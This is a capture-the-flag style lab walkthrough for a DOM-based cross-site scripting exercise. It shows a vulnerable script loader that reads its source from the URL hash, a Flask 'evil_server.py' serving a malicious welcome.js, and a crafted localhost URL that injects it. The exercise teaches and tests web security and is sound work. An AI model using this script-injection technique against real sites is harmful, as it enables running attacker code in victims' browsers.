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KBID 3 - Cross Site Scripting (DOM-2)

Running the app Python3

First, make sure python3 and pip are installed on your host machine. After installation, we go to the folder of the lab we want to practise "i.e /skf-labs/XSS/, /skf-labs/jwt-secret/ " and run the following commands:

$ pip3 install -r requirements.txt

$ python3 <labname>

{% hint style="success" %} Now that the app is running let's go hacking! {% endhint %}

Reconnaissance

Step 1

The application shows no input field or anything else we can interact with. Let's inspect the source code.

Inspecting the source code of the application.

function loadWelcomeMessage() {
  setTimeout(function () {
    endpoint = location.hash.slice(5);
    var script = document.createElement("script");
    if (endpoint) {
      script.src = endpoint + "/js/welcome.js";
    } else {
      script.src = "/js/welcome.js";
    }
    document.head.appendChild(script);
  }, 2000);
}

We notice the application imports javascript files into the application using this function.

endpoint = location.hash.slice(5);

Declaring endpoint variable which takes the url, whatever is after the hash(#) and using slice to remove the first 4 characters after that. If the endpoint exists it will load the js file from there.

Exploitation

We can start building our malicious server and server the application with our malicious js file.

from flask import Flask

app = Flask(__name__, static_url_path='/static', static_folder='static')
app.config['DEBUG'] = True

@app.route("/<path:path>")
def static_file(path):
    return app.send_static_file(path)

if __name__ == "__main__":
    app.run(host='0.0.0.0', port=1337)

Save the snippet above to > evil_server.py and run the commands below to install some dependencies. Of course you can also run your app on whatever service you want it does not have to be python flask.

$ pip3 install flask

Now we need to create our malicous js file, save the following snippet code into /static/js/welcome.js

document.getElementsByClassName("panel-body")[0].innerText = "pwned!!!";

We are ready to start our server:

$ python3 evil_server.py

Now we can serve our malicious js file to the application

http://localhost:5000/#xxxxhttp://localhost:1337

Additional sources

Please refer to the OWASP testing guide for a full complete description about cross site scripting!

{% embed url="https://owasp.org/www-community/attacks/XSS-DOM-2/" %}